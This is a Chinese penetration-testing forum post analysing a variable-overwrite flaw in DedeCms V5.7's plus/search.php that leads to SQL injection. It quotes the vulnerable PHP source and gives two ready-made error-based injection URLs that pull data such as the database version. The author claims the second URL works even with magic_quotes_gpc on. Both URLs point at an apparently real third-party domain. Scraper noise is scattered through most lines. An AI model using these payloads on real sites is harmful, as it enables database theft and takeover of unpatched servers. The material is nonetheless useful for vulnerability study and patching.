中国网络渗透测试联盟

标题: DedeCms V57 plus/search.php文件SQL注射 [打印本页]

作者: admin    时间: 2013-1-19 08:18
标题: DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.4 o4 p- k- w+ A; ^1 K
作者: c4rp3nt3r@0x50sec.org- B) o0 G4 [7 d2 _
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.9 F: f, @1 T& u+ s8 v2 t8 Q% _

8 ^- j. s) S- ?, ~' n黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
4 A  U3 ?" C; g  J* a/ V5 s/ H) L; | 7 p/ I6 u0 V7 [
============
1 O% A; Z( A1 \8 c0 ~1 S
7 a# `$ d' R, Q0 ^# v7 C: m& Y' d 3 G6 Z& o2 M+ Z, o, J  U
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
5 f; Q  x- v: a0 \ 3 J3 Q) D" O; r7 @) f) V' y8 P
require_once(dirname(__FILE__).”/../include/common.inc.php”);
0 U/ J: u* _/ C  Vrequire_once(DEDEINC.”/arc.searchview.class.php”);5 C- N1 E3 l1 W9 Q" D) }6 D

1 A% c# K% ^+ S9 f3 E- W( e5 s$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;- E$ G+ d8 Y' o- l4 w
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;$ Z% M* Y: n0 j
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
. E( R. {4 {5 y; b9 M) h9 Y  {$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;- m1 C% m  |( [  D
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
: ?" b0 v) [0 ^: S
3 Z4 ]) z! t' E4 X  Y  B  o( mif(!isset($orderby)) $orderby=”;+ Z: _6 x9 d1 H% g  P/ v2 O
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);6 y  w( `2 _! r% e5 S5 C

/ P3 i9 J% X& ^& P/ J3 K' [# `( ^ * _- T& b* s+ O2 N1 q
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
0 L( m' R4 ~/ C3 H( K2 Xelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);# w% s, b7 a% w% N! \
- m1 L  Q" ]# J7 B* G  O8 n  s
if(!isset($keyword)){
) }3 b# v' E4 I+ G$ M) H) @    if(!isset($q)) $q = ”;
9 W4 d" b- D2 R1 Q    $keyword=$q;' D! y" G/ [2 G; s( |8 y
}
9 X  u& f3 T& R  y4 S/ d% Z! u ( P6 k# |6 k+ ~8 M9 X/ |% Y# w' T
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));3 y7 ]1 }  x6 P# c$ T8 q* Y% }/ `& k
$ [, s, t; l0 s/ S1 i
//查找栏目信息7 F4 O4 O" y2 e( G
if(empty($typeid))* L& g: b- a+ D; s$ _0 E
{
- Y1 X& l4 }$ ]/ t7 |    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
9 a1 a" b! n0 C) X0 n( |9 A    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )$ v  V- o. L, O
    {
4 z: R% o% L3 ~( Z" }5 F  C        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
: J5 t6 A; Y( v        fwrite($fp, “<”.”?php\r\n”);
2 R, [0 x* l/ ]. S1 p1 m3 H        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);  Y6 z8 P: D! |, c
        $dsql->Execute();; ]& w- K: G2 i6 k! J" d
        while($row = $dsql->GetArray())
1 z8 q6 x$ ]8 N# D1 P' v) B        {8 Q- U& r3 h1 L9 W$ m& `; Z8 F; ?6 |
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
+ v! z3 o3 f1 g6 j. `% |- x        }
; D/ M- P! V: y3 u: K- ~! |        fwrite($fp, ‘?’.'>’);
; x/ V' S, g+ _6 N- b        fclose($fp);
2 l+ E; S4 {$ ?$ w' s9 e    }: ~+ v8 R5 b' B& i
    //引入栏目缓存并看关键字是否有相关栏目内容
$ q; e+ Y1 b' ]    require_once($typenameCacheFile);
8 \, x' o# g$ ?  q' ~& Y: j//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个7 U! b/ z8 J9 r1 K
//
" u" W. ^' D( D  f1 E" J0 n    if(isset($typeArr) && is_array($typeArr))5 F+ c. n/ k' }) X. t3 b- Z  S
    {, K: u# }* r* l6 ]4 `6 v' F# ]* e& Q; |
        foreach($typeArr as $id=>$typename)0 u  Z6 n7 l5 _: K% ]! t5 B
        {
1 C  f  B5 D/ V
  Q( _3 p9 N$ @  t+ |" B            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
: H4 r# G- T& C. F+ p            if($keyword != $keywordn)# Y. _* _% a1 G* Q
            {
+ ]" F$ y2 `: V8 g3 ~                $keyword = $keywordn;
1 ~  C& o) N/ d                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
7 p! i. H8 T) ~  ]* ^+ N                break;
+ Y; `1 W! U! \( G* e, y% \9 F            }
) A5 Z7 X4 `# V1 {6 f7 ?        }! O: o' Z' g; h( A
    }
/ t& z% @8 X9 ^6 U" \}6 B" B+ Z' i0 O/ a' }. [
然后plus/search.php文件下面定义了一个 Search类的对象 .
' S9 n. d% W$ c5 U; X. x8 r" p! g在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.- B5 t( u+ t& m$ y# u
$this->TypeLink = new TypeLink($typeid);* ?$ v8 q2 `& M1 U

$ }9 v- F  \8 j4 XTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.+ g* n. D8 z, W4 O- V
# J) S% W8 ?1 \6 W2 ^9 v
class TypeLink
+ }3 n' _; s8 y- F7 z, h{% ?9 \9 P9 K8 Z* `
    var $typeDir;- k" V# ]7 i4 Z+ g! W% s  y
    var $dsql;4 |& a8 \) R0 c6 n; e7 z
    var $TypeID;
% M8 g% v. m/ K    var $baseDir;
5 j3 f- d5 H7 ^6 @/ g    var $modDir;
# x3 D* Z+ F. J/ {    var $indexUrl;
0 M0 D* r$ I. C8 z5 D5 J; |    var $indexName;: l" k/ Q* h  J0 ~  z2 a' `) M, W
    var $TypeInfos;' j% f: \6 S5 ^- Y. s
    var $SplitSymbol;
1 ~* Z, m1 D; o" C* n9 g4 ^    var $valuePosition;+ C2 `0 {5 U4 k
    var $valuePositionName;
' Z- O7 I; U# o. k, o* \* I    var $OptionArrayList;//构造函数///////
, A' Y0 y6 @" m( t    //php5构造函数
& l: L0 H2 T2 l5 [8 F  A    function __construct($typeid)
) A8 Z' n  z- v9 {5 a% M    {
/ ~  G4 U6 v7 w' y$ o4 G' D( Y        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$ |0 a, O0 @0 {# ~5 W; _        $this->indexName = $GLOBALS['cfg_indexname'];; v4 I* i7 |% p
        $this->baseDir = $GLOBALS['cfg_basedir'];
: q! q$ I$ l8 M3 R, j& d1 n        $this->modDir = $GLOBALS['cfg_templets_dir'];
4 S+ f5 j; A  i- O4 I, R        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];) ]+ ^  C' m0 o% Z+ g" V
        $this->dsql = $GLOBALS['dsql'];
& J2 @; g' q0 t/ ^- u9 N        $this->TypeID = $typeid;7 l! y9 T2 m/ U
        $this->valuePosition = ”;
5 O' e/ z  @4 B" e8 J        $this->valuePositionName = ”;2 K1 T9 R- A- u5 u; Z9 ]
        $this->typeDir = ”;( z" c% h9 W: k& c4 d+ @3 K
        $this->OptionArrayList = ”;
4 H: v) E1 D  G0 [3 G( @
, [2 \8 U" D4 A+ Z        //载入类目信息
! g7 o3 K- a# S% E
) D' A% G, ^8 T" ^        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
" |1 L; P6 ?. Hctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join+ I; Y+ t3 K9 c$ g1 l5 d, \
`#@__channeltype` ch( q3 w/ |9 b6 m7 H6 ~. ]8 @. S
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
' k; G0 T8 e7 D; O2 f . Z( Z# {! q4 k* J1 q
        if($typeid > 0)
5 h5 r9 H: S* h# s$ ~9 R( q' t3 Q        {  h% `7 J( B2 e9 b& s9 w  V
            $this->TypeInfos = $this->dsql->GetOne($query);& J+ t8 K$ ]5 z) t( X
利用代码一 需要 即使magic_quotes_gpc = Off
, j9 `( |( b/ K1 F" q6 A6 j
  [* O8 d' B: t3 L! Nwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title" j  a0 s4 {# {3 ~! b9 i: A2 @& l- `8 `6 C

( t& J, C# s) k1 n9 Q这只是其中一个利用代码… Search 类的构造函数再往下
4 Y0 b1 X0 y4 W6 ]- @
! B' S9 {) n& u) I, O- \……省略, t  P! x) z0 Q0 ?+ R
$this->TypeID = $typeid;2 T9 G* ?/ u% m2 R; |+ Y3 `" l
……省略9 w! ~1 w. e2 z5 g. w
if($this->TypeID==”0″){
# v1 C9 \- u" O9 c            $this->ChannelTypeid=1;
+ G1 `' {# y; {; @. U$ S1 ?) U        }else{
7 @: |7 x  O+ G: N& W. P            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲9 f7 a& p2 E* F$ C% B8 X% L  n6 f+ ^
//现在不鸡肋了吧亲…
4 Q/ P* V5 O" ~            $this->ChannelTypeid=$row['channeltype'];
, j4 y  d& @4 O+ @7 e! t 1 V, P/ o+ I+ P0 h" X7 V6 I
        }
  i+ U' f2 Y, r: ^利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.& k# u$ P9 m- }: R: i: l

9 ~7 F, N5 S3 m' l6 cwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
6 i6 b$ L) g: P6 T7 Q
. O1 `& i* p; E9 d$ K* t如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站/ A6 E8 z  Y6 H! V3 H





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2